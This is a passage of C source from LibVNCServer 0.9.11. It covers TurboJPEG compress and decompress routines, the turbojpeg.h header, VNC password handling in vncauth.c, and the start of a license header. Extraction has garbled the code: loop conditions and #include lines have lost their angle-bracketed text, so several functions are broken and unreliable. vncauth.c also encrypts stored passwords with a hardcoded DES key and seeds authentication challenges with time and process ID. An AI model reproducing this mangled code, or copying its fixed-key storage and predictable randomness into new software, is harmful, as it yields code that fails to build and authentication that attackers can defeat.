retval=PAD(width, 16) * PAD(height, 16) * 6 + 2048; bailout: return retval; } DLLEXPORT int DLLCALL tjCompress2(tjhandle handle, unsigned char *srcBuf, int width, int pitch, int height, int pixelFormat, unsigned char **jpegBuf, unsigned long *jpegSize, int jpegSubsamp, int jpegQual, int flags) { int i, retval=0; JSAMPROW *row_pointer=NULL; #ifndef JCS_EXTENSIONS unsigned char *rgbBuf=NULL; #endif getinstance(handle) if((this->init&COMPRESS)==0) _throw("tjCompress2(): Instance has not been initialized for compression"); if(srcBuf==NULL || width<=0 || pitch<0 || height<=0 || pixelFormat<0 || pixelFormat>=TJ_NUMPF || jpegBuf==NULL || jpegSize==NULL || jpegSubsamp<0 || jpegSubsamp>=NUMSUBOPT || jpegQual<0 || jpegQual>100) _throw("tjCompress2(): Invalid argument"); if(setjmp(this->jerr.setjmp_buffer)) { /* If we get here, the JPEG code has signaled an error. */ retval=-1; goto bailout; } if(pitch==0) pitch=width*tjPixelSize[pixelFormat]; #ifndef JCS_EXTENSIONS if(pixelFormat!=TJPF_GRAY) { rgbBuf=(unsigned char *)malloc(width*height*RGB_PIXELSIZE); if(!rgbBuf) _throw("tjCompress2(): Memory allocation failure"); srcBuf=toRGB(srcBuf, width, pitch, height, pixelFormat, rgbBuf); pitch=width*RGB_PIXELSIZE; } #endif cinfo->image_width=width; cinfo->image_height=height; if(flags&TJFLAG_FORCEMMX) putenv("JSIMD_FORCEMMX=1"); else if(flags&TJFLAG_FORCESSE) putenv("JSIMD_FORCESSE=1"); else if(flags&TJFLAG_FORCESSE2) putenv("JSIMD_FORCESSE2=1"); if(setCompDefaults(cinfo, pixelFormat, jpegSubsamp, jpegQual)==-1) return -1; this->jdst.next_output_byte=*jpegBuf; this->jdst.free_in_buffer=tjBufSize(width, height, jpegSubsamp); jpeg_start_compress(cinfo, TRUE); if((row_pointer=(JSAMPROW *)malloc(sizeof(JSAMPROW)*height))==NULL) _throw("tjCompress2(): Memory allocation failure"); for(i=0; inext_scanlineimage_height) { jpeg_write_scanlines(cinfo, &row_pointer[cinfo->next_scanline], cinfo->image_height-cinfo->next_scanline); } jpeg_finish_compress(cinfo); *jpegSize=tjBufSize(width, height, jpegSubsamp) -(unsigned long)(this->jdst.free_in_buffer); bailout: if(cinfo->global_state>CSTATE_START) jpeg_abort_compress(cinfo); #ifndef JCS_EXTENSIONS if(rgbBuf) free(rgbBuf); #endif if(row_pointer) free(row_pointer); return retval; } DLLEXPORT int DLLCALL tjCompress(tjhandle handle, unsigned char *srcBuf, int width, int pitch, int height, int pixelSize, unsigned char *jpegBuf, unsigned long *jpegSize, int jpegSubsamp, int jpegQual, int flags) { int retval=0; unsigned long size; retval=tjCompress2(handle, srcBuf, width, pitch, height, getPixelFormat(pixelSize, flags), &jpegBuf, &size, jpegSubsamp, jpegQual, flags); *jpegSize=size; return retval; } /* Decompressor */ static boolean fill_input_buffer(j_decompress_ptr dinfo) { ERREXIT(dinfo, JERR_BUFFER_SIZE); return TRUE; } static void skip_input_data(j_decompress_ptr dinfo, long num_bytes) { dinfo->src->next_input_byte += (size_t) num_bytes; dinfo->src->bytes_in_buffer -= (size_t) num_bytes; } static void src_noop(j_decompress_ptr dinfo) { } static tjhandle _tjInitDecompress(tjinstance *this) { /* This is also straight out of example.c */ this->dinfo.err=jpeg_std_error(&this->jerr.pub); this->jerr.pub.error_exit=my_error_exit; this->jerr.pub.output_message=my_output_message; if(setjmp(this->jerr.setjmp_buffer)) { /* If we get here, the JPEG code has signaled an error. */ if(this) free(this); return NULL; } jpeg_create_decompress(&this->dinfo); this->dinfo.src=&this->jsrc; this->jsrc.init_source=src_noop; this->jsrc.fill_input_buffer=fill_input_buffer; this->jsrc.skip_input_data=skip_input_data; this->jsrc.resync_to_restart=jpeg_resync_to_restart; this->jsrc.term_source=src_noop; this->init|=DECOMPRESS; return (tjhandle)this; } DLLEXPORT tjhandle DLLCALL tjInitDecompress(void) { tjinstance *this; if((this=(tjinstance *)malloc(sizeof(tjinstance)))==NULL) { snprintf(errStr, JMSG_LENGTH_MAX, "tjInitDecompress(): Memory allocation failure"); return NULL; } MEMZERO(this, sizeof(tjinstance)); return _tjInitDecompress(this); } DLLEXPORT int DLLCALL tjDecompressHeader2(tjhandle handle, unsigned char *jpegBuf, unsigned long jpegSize, int *width, int *height, int *jpegSubsamp) { int retval=0; getinstance(handle); if((this->init&DECOMPRESS)==0) _throw("tjDecompressHeader2(): Instance has not been initialized for decompression"); if(jpegBuf==NULL || jpegSize<=0 || width==NULL || height==NULL || jpegSubsamp==NULL) _throw("tjDecompressHeader2(): Invalid argument"); if(setjmp(this->jerr.setjmp_buffer)) { /* If we get here, the JPEG code has signaled an error. */ return -1; } this->jsrc.bytes_in_buffer=jpegSize; this->jsrc.next_input_byte=jpegBuf; jpeg_read_header(dinfo, TRUE); *width=dinfo->image_width; *height=dinfo->image_height; *jpegSubsamp=getSubsamp(dinfo); jpeg_abort_decompress(dinfo); if(*jpegSubsamp<0) _throw("tjDecompressHeader2(): Could not determine subsampling type for JPEG image"); if(*width<1 || *height<1) _throw("tjDecompressHeader2(): Invalid data returned in header"); bailout: return retval; } DLLEXPORT int DLLCALL tjDecompressHeader(tjhandle handle, unsigned char *jpegBuf, unsigned long jpegSize, int *width, int *height) { int jpegSubsamp; return tjDecompressHeader2(handle, jpegBuf, jpegSize, width, height, &jpegSubsamp); } DLLEXPORT tjscalingfactor* DLLCALL tjGetScalingFactors(int *numscalingfactors) { if(numscalingfactors==NULL) { snprintf(errStr, JMSG_LENGTH_MAX, "tjGetScalingFactors(): Invalid argument"); return NULL; } *numscalingfactors=NUMSF; return (tjscalingfactor *)sf; } DLLEXPORT int DLLCALL tjDecompress2(tjhandle handle, unsigned char *jpegBuf, unsigned long jpegSize, unsigned char *dstBuf, int width, int pitch, int height, int pixelFormat, int flags) { int i, retval=0; JSAMPROW *row_pointer=NULL; int jpegwidth, jpegheight, scaledw, scaledh; #ifndef JCS_EXTENSIONS unsigned char *rgbBuf=NULL; unsigned char *_dstBuf=NULL; int _pitch=0; #endif getinstance(handle); if((this->init&DECOMPRESS)==0) _throw("tjDecompress2(): Instance has not been initialized for decompression"); if(jpegBuf==NULL || jpegSize<=0 || dstBuf==NULL || width<0 || pitch<0 || height<0 || pixelFormat<0 || pixelFormat>=TJ_NUMPF) _throw("tjDecompress2(): Invalid argument"); if(flags&TJFLAG_FORCEMMX) putenv("JSIMD_FORCEMMX=1"); else if(flags&TJFLAG_FORCESSE) putenv("JSIMD_FORCESSE=1"); else if(flags&TJFLAG_FORCESSE2) putenv("JSIMD_FORCESSE2=1"); if(setjmp(this->jerr.setjmp_buffer)) { /* If we get here, the JPEG code has signaled an error. */ retval=-1; goto bailout; } this->jsrc.bytes_in_buffer=jpegSize; this->jsrc.next_input_byte=jpegBuf; jpeg_read_header(dinfo, TRUE); if(setDecompDefaults(dinfo, pixelFormat)==-1) { retval=-1; goto bailout; } if(flags&TJFLAG_FASTUPSAMPLE) dinfo->do_fancy_upsampling=FALSE; jpegwidth=dinfo->image_width; jpegheight=dinfo->image_height; if(width==0) width=jpegwidth; if(height==0) height=jpegheight; for(i=0; iwidth || scaledh>height) _throw("tjDecompress2(): Could not scale down to desired image dimensions"); width=scaledw; height=scaledh; dinfo->scale_num=sf[i].num; dinfo->scale_denom=sf[i].denom; jpeg_start_decompress(dinfo); if(pitch==0) pitch=dinfo->output_width*tjPixelSize[pixelFormat]; #ifndef JCS_EXTENSIONS if(pixelFormat!=TJPF_GRAY && (RGB_RED!=tjRedOffset[pixelFormat] || RGB_GREEN!=tjGreenOffset[pixelFormat] || RGB_BLUE!=tjBlueOffset[pixelFormat] || RGB_PIXELSIZE!=tjPixelSize[pixelFormat])) { rgbBuf=(unsigned char *)malloc(width*height*3); if(!rgbBuf) _throw("tjDecompress2(): Memory allocation failure"); _pitch=pitch; pitch=width*3; _dstBuf=dstBuf; dstBuf=rgbBuf; } #endif if((row_pointer=(JSAMPROW *)malloc(sizeof(JSAMPROW) *dinfo->output_height))==NULL) _throw("tjDecompress2(): Memory allocation failure"); for(i=0; i<(int)dinfo->output_height; i++) { if(flags&TJFLAG_BOTTOMUP) row_pointer[i]=&dstBuf[(dinfo->output_height-i-1)*pitch]; else row_pointer[i]=&dstBuf[i*pitch]; } while(dinfo->output_scanlineoutput_height) { jpeg_read_scanlines(dinfo, &row_pointer[dinfo->output_scanline], dinfo->output_height-dinfo->output_scanline); } jpeg_finish_decompress(dinfo); #ifndef JCS_EXTENSIONS fromRGB(rgbBuf, _dstBuf, width, _pitch, height, pixelFormat); #endif bailout: if(dinfo->global_state>DSTATE_START) jpeg_abort_decompress(dinfo); #ifndef JCS_EXTENSIONS if(rgbBuf) free(rgbBuf); #endif if(row_pointer) free(row_pointer); return retval; } DLLEXPORT int DLLCALL tjDecompress(tjhandle handle, unsigned char *jpegBuf, unsigned long jpegSize, unsigned char *dstBuf, int width, int pitch, int height, int pixelSize, int flags) { return tjDecompress2(handle, jpegBuf, jpegSize, dstBuf, width, pitch, height, getPixelFormat(pixelSize, flags), flags); } libvncserver-LibVNCServer-0.9.11/common/turbojpeg.h000066400000000000000000000472621303145525000222230ustar00rootroot00000000000000/* * Copyright (C)2009-2012 D. R. Commander. All Rights Reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * - Neither the name of the libjpeg-turbo Project nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #ifndef __TURBOJPEG_H__ #define __TURBOJPEG_H__ #if defined(_WIN32) && defined(DLLDEFINE) #define DLLEXPORT __declspec(dllexport) #else #define DLLEXPORT #endif #define DLLCALL /** * @addtogroup TurboJPEG Lite * TurboJPEG API. This API provides an interface for generating and decoding * JPEG images in memory. * * @{ */ /** * The number of chrominance subsampling options */ #define TJ_NUMSAMP 5 /** * Chrominance subsampling options. * When an image is converted from the RGB to the YCbCr colorspace as part of * the JPEG compression process, some of the Cb and Cr (chrominance) components * can be discarded or averaged together to produce a smaller image with little * perceptible loss of image clarity (the human eye is more sensitive to small * changes in brightness than small changes in color.) This is called * "chrominance subsampling". */ enum TJSAMP { /** * 4:4:4 chrominance subsampling (no chrominance subsampling). The JPEG or * YUV image will contain one chrominance component for every pixel in the * source image. */ TJSAMP_444=0, /** * 4:2:2 chrominance subsampling. The JPEG or YUV image will contain one * chrominance component for every 2x1 block of pixels in the source image. */ TJSAMP_422, /** * 4:2:0 chrominance subsampling. The JPEG or YUV image will contain one * chrominance component for every 2x2 block of pixels in the source image. */ TJSAMP_420, /** * Grayscale. The JPEG or YUV image will contain no chrominance components. */ TJSAMP_GRAY, /** * 4:4:0 chrominance subsampling. The JPEG or YUV image will contain one * chrominance component for every 1x2 block of pixels in the source image. */ TJSAMP_440 }; /** * MCU block width (in pixels) for a given level of chrominance subsampling. * MCU block sizes: * - 8x8 for no subsampling or grayscale * - 16x8 for 4:2:2 * - 8x16 for 4:4:0 * - 16x16 for 4:2:0 */ static const int tjMCUWidth[TJ_NUMSAMP] = {8, 16, 16, 8, 8}; /** * MCU block height (in pixels) for a given level of chrominance subsampling. * MCU block sizes: * - 8x8 for no subsampling or grayscale * - 16x8 for 4:2:2 * - 8x16 for 4:4:0 * - 16x16 for 4:2:0 */ static const int tjMCUHeight[TJ_NUMSAMP] = {8, 8, 16, 8, 16}; /** * The number of pixel formats */ #define TJ_NUMPF 11 /** * Pixel formats */ enum TJPF { /** * RGB pixel format. The red, green, and blue components in the image are * stored in 3-byte pixels in the order R, G, B from lowest to highest byte * address within each pixel. */ TJPF_RGB=0, /** * BGR pixel format. The red, green, and blue components in the image are * stored in 3-byte pixels in the order B, G, R from lowest to highest byte * address within each pixel. */ TJPF_BGR, /** * RGBX pixel format. The red, green, and blue components in the image are * stored in 4-byte pixels in the order R, G, B from lowest to highest byte * address within each pixel. The X component is ignored when compressing * and undefined when decompressing. */ TJPF_RGBX, /** * BGRX pixel format. The red, green, and blue components in the image are * stored in 4-byte pixels in the order B, G, R from lowest to highest byte * address within each pixel. The X component is ignored when compressing * and undefined when decompressing. */ TJPF_BGRX, /** * XBGR pixel format. The red, green, and blue components in the image are * stored in 4-byte pixels in the order R, G, B from highest to lowest byte * address within each pixel. The X component is ignored when compressing * and undefined when decompressing. */ TJPF_XBGR, /** * XRGB pixel format. The red, green, and blue components in the image are * stored in 4-byte pixels in the order B, G, R from highest to lowest byte * address within each pixel. The X component is ignored when compressing * and undefined when decompressing. */ TJPF_XRGB, /** * Grayscale pixel format. Each 1-byte pixel represents a luminance * (brightness) level from 0 to 255. */ TJPF_GRAY, /** * RGBA pixel format. This is the same as @ref TJPF_RGBX, except that when * decompressing, the X component is guaranteed to be 0xFF, which can be * interpreted as an opaque alpha channel. */ TJPF_RGBA, /** * BGRA pixel format. This is the same as @ref TJPF_BGRX, except that when * decompressing, the X component is guaranteed to be 0xFF, which can be * interpreted as an opaque alpha channel. */ TJPF_BGRA, /** * ABGR pixel format. This is the same as @ref TJPF_XBGR, except that when * decompressing, the X component is guaranteed to be 0xFF, which can be * interpreted as an opaque alpha channel. */ TJPF_ABGR, /** * ARGB pixel format. This is the same as @ref TJPF_XRGB, except that when * decompressing, the X component is guaranteed to be 0xFF, which can be * interpreted as an opaque alpha channel. */ TJPF_ARGB }; /** * Red offset (in bytes) for a given pixel format. This specifies the number * of bytes that the red component is offset from the start of the pixel. For * instance, if a pixel of format TJ_BGRX is stored in char pixel[], * then the red component will be pixel[tjRedOffset[TJ_BGRX]]. */ static const int tjRedOffset[TJ_NUMPF] = {0, 2, 0, 2, 3, 1, 0, 0, 2, 3, 1}; /** * Green offset (in bytes) for a given pixel format. This specifies the number * of bytes that the green component is offset from the start of the pixel. * For instance, if a pixel of format TJ_BGRX is stored in * char pixel[], then the green component will be * pixel[tjGreenOffset[TJ_BGRX]]. */ static const int tjGreenOffset[TJ_NUMPF] = {1, 1, 1, 1, 2, 2, 0, 1, 1, 2, 2}; /** * Blue offset (in bytes) for a given pixel format. This specifies the number * of bytes that the Blue component is offset from the start of the pixel. For * instance, if a pixel of format TJ_BGRX is stored in char pixel[], * then the blue component will be pixel[tjBlueOffset[TJ_BGRX]]. */ static const int tjBlueOffset[TJ_NUMPF] = {2, 0, 2, 0, 1, 3, 0, 2, 0, 1, 3}; /** * Pixel size (in bytes) for a given pixel format. */ static const int tjPixelSize[TJ_NUMPF] = {3, 3, 4, 4, 4, 4, 1, 4, 4, 4, 4}; /** * The uncompressed source/destination image is stored in bottom-up (Windows, * OpenGL) order, not top-down (X11) order. */ #define TJFLAG_BOTTOMUP 2 /** * Turn off CPU auto-detection and force TurboJPEG to use MMX code (IPP and * 32-bit libjpeg-turbo versions only.) */ #define TJFLAG_FORCEMMX 8 /** * Turn off CPU auto-detection and force TurboJPEG to use SSE code (32-bit IPP * and 32-bit libjpeg-turbo versions only) */ #define TJFLAG_FORCESSE 16 /** * Turn off CPU auto-detection and force TurboJPEG to use SSE2 code (32-bit IPP * and 32-bit libjpeg-turbo versions only) */ #define TJFLAG_FORCESSE2 32 /** * Turn off CPU auto-detection and force TurboJPEG to use SSE3 code (64-bit IPP * version only) */ #define TJFLAG_FORCESSE3 128 /** * Use fast, inaccurate chrominance upsampling routines in the JPEG * decompressor (libjpeg and libjpeg-turbo versions only) */ #define TJFLAG_FASTUPSAMPLE 256 /** * Scaling factor */ typedef struct { /** * Numerator */ int num; /** * Denominator */ int denom; } tjscalingfactor; /** * TurboJPEG instance handle */ typedef void* tjhandle; /** * Pad the given width to the nearest 32-bit boundary */ #define TJPAD(width) (((width)+3)&(~3)) /** * Compute the scaled value of dimension using the given scaling * factor. This macro performs the integer equivalent of ceil(dimension * * scalingFactor). */ #define TJSCALED(dimension, scalingFactor) ((dimension * scalingFactor.num \ + scalingFactor.denom - 1) / scalingFactor.denom) #ifdef __cplusplus extern "C" { #endif /** * Create a TurboJPEG compressor instance. * * @return a handle to the newly-created instance, or NULL if an error * occurred (see #tjGetErrorStr().) */ DLLEXPORT tjhandle DLLCALL tjInitCompress(void); /** * Compress an RGB or grayscale image into a JPEG image. * * @param handle a handle to a TurboJPEG compressor or transformer instance * @param srcBuf pointer to an image buffer containing RGB or grayscale pixels * to be compressed * @param width width (in pixels) of the source image * @param pitch bytes per line of the source image. Normally, this should be * width * #tjPixelSize[pixelFormat] if the image is unpadded, * or #TJPAD(width * #tjPixelSize[pixelFormat]) if each line of * the image is padded to the nearest 32-bit boundary, as is the case * for Windows bitmaps. You can also be clever and use this parameter * to skip lines, etc. Setting this parameter to 0 is the equivalent of * setting it to width * #tjPixelSize[pixelFormat]. * @param height height (in pixels) of the source image * @param pixelFormat pixel format of the source image (see @ref TJPF * "Pixel formats".) * @param jpegBuf address of a pointer to an image buffer that will receive the * JPEG image. TurboJPEG has the ability to reallocate the JPEG buffer * to accommodate the size of the JPEG image. Thus, you can choose to: * -# pre-allocate the JPEG buffer with an arbitrary size using * #tjAlloc() and let TurboJPEG grow the buffer as needed, * -# set *jpegBuf to NULL to tell TurboJPEG to allocate the * buffer for you, or * -# pre-allocate the buffer to a "worst case" size determined by * calling #tjBufSize(). This should ensure that the buffer never has * to be re-allocated (setting #TJFLAG_NOREALLOC guarantees this.) * . * If you choose option 1, *jpegSize should be set to the * size of your pre-allocated buffer. In any case, unless you have * set #TJFLAG_NOREALLOC, you should always check *jpegBuf upon * return from this function, as it may have changed. * @param jpegSize pointer to an unsigned long variable that holds the size of * the JPEG image buffer. If *jpegBuf points to a * pre-allocated buffer, then *jpegSize should be set to the * size of the buffer. Upon return, *jpegSize will contain the * size of the JPEG image (in bytes.) * @param jpegSubsamp the level of chrominance subsampling to be used when * generating the JPEG image (see @ref TJSAMP * "Chrominance subsampling options".) * @param jpegQual the image quality of the generated JPEG image (1 = worst, 100 = best) * @param flags the bitwise OR of one or more of the @ref TJFLAG_BOTTOMUP * "flags". * * @return 0 if successful, or -1 if an error occurred (see #tjGetErrorStr().) */ DLLEXPORT int DLLCALL tjCompress2(tjhandle handle, unsigned char *srcBuf, int width, int pitch, int height, int pixelFormat, unsigned char **jpegBuf, unsigned long *jpegSize, int jpegSubsamp, int jpegQual, int flags); /** * The maximum size of the buffer (in bytes) required to hold a JPEG image with * the given parameters. The number of bytes returned by this function is * larger than the size of the uncompressed source image. The reason for this * is that the JPEG format uses 16-bit coefficients, and it is thus possible * for a very high-quality JPEG image with very high frequency content to * expand rather than compress when converted to the JPEG format. Such images * represent a very rare corner case, but since there is no way to predict the * size of a JPEG image prior to compression, the corner case has to be * handled. * * @param width width of the image (in pixels) * @param height height of the image (in pixels) * @param jpegSubsamp the level of chrominance subsampling to be used when * generating the JPEG image (see @ref TJSAMP * "Chrominance subsampling options".) * * @return the maximum size of the buffer (in bytes) required to hold the * image, or -1 if the arguments are out of bounds. */ DLLEXPORT unsigned long DLLCALL tjBufSize(int width, int height, int jpegSubsamp); /** * Create a TurboJPEG decompressor instance. * * @return a handle to the newly-created instance, or NULL if an error * occurred (see #tjGetErrorStr().) */ DLLEXPORT tjhandle DLLCALL tjInitDecompress(void); /** * Retrieve information about a JPEG image without decompressing it. * * @param handle a handle to a TurboJPEG decompressor or transformer instance * @param jpegBuf pointer to a buffer containing a JPEG image * @param jpegSize size of the JPEG image (in bytes) * @param width pointer to an integer variable that will receive the width (in * pixels) of the JPEG image * @param height pointer to an integer variable that will receive the height * (in pixels) of the JPEG image * @param jpegSubsamp pointer to an integer variable that will receive the * level of chrominance subsampling used when compressing the JPEG image * (see @ref TJSAMP "Chrominance subsampling options".) * * @return 0 if successful, or -1 if an error occurred (see #tjGetErrorStr().) */ DLLEXPORT int DLLCALL tjDecompressHeader2(tjhandle handle, unsigned char *jpegBuf, unsigned long jpegSize, int *width, int *height, int *jpegSubsamp); /** * Returns a list of fractional scaling factors that the JPEG decompressor in * this implementation of TurboJPEG supports. * * @param numscalingfactors pointer to an integer variable that will receive * the number of elements in the list * * @return a pointer to a list of fractional scaling factors, or NULL if an * error is encountered (see #tjGetErrorStr().) */ DLLEXPORT tjscalingfactor* DLLCALL tjGetScalingFactors(int *numscalingfactors); /** * Decompress a JPEG image to an RGB or grayscale image. * * @param handle a handle to a TurboJPEG decompressor or transformer instance * @param jpegBuf pointer to a buffer containing the JPEG image to decompress * @param jpegSize size of the JPEG image (in bytes) * @param dstBuf pointer to an image buffer that will receive the decompressed * image. This buffer should normally be pitch * scaledHeight * bytes in size, where scaledHeight can be determined by * calling #TJSCALED() with the JPEG image height and one of the scaling * factors returned by #tjGetScalingFactors(). The dstBuf pointer may * also be used to decompress into a specific region of a larger buffer. * @param width desired width (in pixels) of the destination image. If this is * smaller than the width of the JPEG image being decompressed, then * TurboJPEG will use scaling in the JPEG decompressor to generate the * largest possible image that will fit within the desired width. If * width is set to 0, then only the height will be considered when * determining the scaled image size. * @param pitch bytes per line of the destination image. Normally, this is * scaledWidth * #tjPixelSize[pixelFormat] if the decompressed * image is unpadded, else #TJPAD(scaledWidth * * #tjPixelSize[pixelFormat]) if each line of the decompressed * image is padded to the nearest 32-bit boundary, as is the case for * Windows bitmaps. (NOTE: scaledWidth can be determined by * calling #TJSCALED() with the JPEG image width and one of the scaling * factors returned by #tjGetScalingFactors().) You can also be clever * and use the pitch parameter to skip lines, etc. Setting this * parameter to 0 is the equivalent of setting it to scaledWidth * * #tjPixelSize[pixelFormat]. * @param height desired height (in pixels) of the destination image. If this * is smaller than the height of the JPEG image being decompressed, then * TurboJPEG will use scaling in the JPEG decompressor to generate the * largest possible image that will fit within the desired height. If * height is set to 0, then only the width will be considered when * determining the scaled image size. * @param pixelFormat pixel format of the destination image (see @ref * TJPF "Pixel formats".) * @param flags the bitwise OR of one or more of the @ref TJFLAG_BOTTOMUP * "flags". * * @return 0 if successful, or -1 if an error occurred (see #tjGetErrorStr().) */ DLLEXPORT int DLLCALL tjDecompress2(tjhandle handle, unsigned char *jpegBuf, unsigned long jpegSize, unsigned char *dstBuf, int width, int pitch, int height, int pixelFormat, int flags); /** * Destroy a TurboJPEG compressor, decompressor, or transformer instance. * * @param handle a handle to a TurboJPEG compressor, decompressor or * transformer instance * * @return 0 if successful, or -1 if an error occurred (see #tjGetErrorStr().) */ DLLEXPORT int DLLCALL tjDestroy(tjhandle handle); /** * Returns a descriptive error message explaining why the last command failed. * * @return a descriptive error message explaining why the last command failed. */ DLLEXPORT char* DLLCALL tjGetErrorStr(void); /* Backward compatibility functions and macros (nothing to see here) */ #define NUMSUBOPT TJ_NUMSAMP #define TJ_444 TJSAMP_444 #define TJ_422 TJSAMP_422 #define TJ_420 TJSAMP_420 #define TJ_411 TJSAMP_420 #define TJ_GRAYSCALE TJSAMP_GRAY #define TJ_BGR 1 #define TJ_BOTTOMUP TJFLAG_BOTTOMUP #define TJ_FORCEMMX TJFLAG_FORCEMMX #define TJ_FORCESSE TJFLAG_FORCESSE #define TJ_FORCESSE2 TJFLAG_FORCESSE2 #define TJ_ALPHAFIRST 64 #define TJ_FORCESSE3 TJFLAG_FORCESSE3 #define TJ_FASTUPSAMPLE TJFLAG_FASTUPSAMPLE DLLEXPORT unsigned long DLLCALL TJBUFSIZE(int width, int height); DLLEXPORT int DLLCALL tjCompress(tjhandle handle, unsigned char *srcBuf, int width, int pitch, int height, int pixelSize, unsigned char *dstBuf, unsigned long *compressedSize, int jpegSubsamp, int jpegQual, int flags); DLLEXPORT int DLLCALL tjDecompressHeader(tjhandle handle, unsigned char *jpegBuf, unsigned long jpegSize, int *width, int *height); DLLEXPORT int DLLCALL tjDecompress(tjhandle handle, unsigned char *jpegBuf, unsigned long jpegSize, unsigned char *dstBuf, int width, int pitch, int height, int pixelSize, int flags); /** * @} */ #ifdef __cplusplus } #endif #endif libvncserver-LibVNCServer-0.9.11/common/vncauth.c000066400000000000000000000104731303145525000216570ustar00rootroot00000000000000/* * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * vncauth.c - Functions for VNC password management and authentication. */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #define _POSIX_SOURCE #define _XOPEN_SOURCE 600 #endif #ifdef LIBVNCSERVER_HAVE_SYS_TYPES_H #include #endif #include #include #include #include #include "d3des.h" #include #include #ifdef LIBVNCSERVER_HAVE_SYS_STAT_H #include #endif #include #ifdef WIN32 #define srandom srand #define random rand #else #include #endif /* libvncclient does not need this */ #ifndef rfbEncryptBytes /* * We use a fixed key to store passwords, since we assume that our local * file system is secure but nonetheless don't want to store passwords * as plaintext. */ static unsigned char fixedkey[8] = {23,82,107,6,35,78,88,7}; /* * Encrypt a password and store it in a file. Returns 0 if successful, * 1 if the file could not be written. */ int rfbEncryptAndStorePasswd(char *passwd, char *fname) { FILE *fp; unsigned int i; unsigned char encryptedPasswd[8]; if ((fp = fopen(fname,"w")) == NULL) return 1; /* windows security sux */ #ifndef WIN32 fchmod(fileno(fp), S_IRUSR|S_IWUSR); #endif /* pad password with nulls */ for (i = 0; i < 8; i++) { if (i < strlen(passwd)) { encryptedPasswd[i] = passwd[i]; } else { encryptedPasswd[i] = 0; } } /* Do encryption in-place - this way we overwrite our copy of the plaintext password */ rfbDesKey(fixedkey, EN0); rfbDes(encryptedPasswd, encryptedPasswd); for (i = 0; i < 8; i++) { putc(encryptedPasswd[i], fp); } fclose(fp); return 0; } /* * Decrypt a password from a file. Returns a pointer to a newly allocated * string containing the password or a null pointer if the password could * not be retrieved for some reason. */ char * rfbDecryptPasswdFromFile(char *fname) { FILE *fp; int i, ch; unsigned char *passwd = (unsigned char *)malloc(9); if ((fp = fopen(fname,"r")) == NULL) { free(passwd); return NULL; } for (i = 0; i < 8; i++) { ch = getc(fp); if (ch == EOF) { fclose(fp); free(passwd); return NULL; } passwd[i] = ch; } fclose(fp); rfbDesKey(fixedkey, DE1); rfbDes(passwd, passwd); passwd[8] = 0; return (char *)passwd; } /* * Generate CHALLENGESIZE random bytes for use in challenge-response * authentication. */ void rfbRandomBytes(unsigned char *bytes) { int i; static rfbBool s_srandom_called = FALSE; if (!s_srandom_called) { srandom((unsigned int)time(NULL) ^ (unsigned int)getpid()); s_srandom_called = TRUE; } for (i = 0; i < CHALLENGESIZE; i++) { bytes[i] = (unsigned char)(random() & 255); } } #endif /* * Encrypt CHALLENGESIZE bytes in memory using a password. */ void rfbEncryptBytes(unsigned char *bytes, char *passwd) { unsigned char key[8]; unsigned int i; /* key is simply password padded with nulls */ for (i = 0; i < 8; i++) { if (i < strlen(passwd)) { key[i] = passwd[i]; } else { key[i] = 0; } } rfbDesKey(key, EN0); for (i = 0; i < CHALLENGESIZE; i += 8) { rfbDes(bytes+i, bytes+i); } } void rfbEncryptBytes2(unsigned char *where, const int length, unsigned char *key) { int i, j; rfbDesKey(key, EN0); for (i = 0; i< 8; i++) where[i] ^= key[i]; rfbDes(where, where); for (i = 8; i < length; i += 8) { for (j = 0; j < 8; j++) where[i + j] ^= where[i + j - 8]; rfbDes(where + i, where + i); } } libvncserver-LibVNCServer-0.9.11/common/zywrletemplate.c000066400000000000000000000564211303145525000233020ustar00rootroot00000000000000 /******************************************************************** * * * THIS FILE IS PART OF THE 'ZYWRLE' VNC CODEC SOURCE CODE. * * * * USE, DISTRIBUTION AND REPRODUCTION OF THIS LIBRARY SOURCE IS * * GOVERNED BY A FOLLOWING BSD-STYLE SOURCE LICENSE. * * PLEASE READ THESE TERMS BEFORE DISTRIBUTING. * * * * THE 'ZYWRLE' VNC CODEC SOURCE CODE IS (C) COPYRIGHT 2006 * * BY Hitachi Systems & Services, Ltd. * * (Noriaki Yamazaki, Research & Development Center) * * * * ******************************************************************** Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name of the Hitachi Systems & Services, Ltd. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE 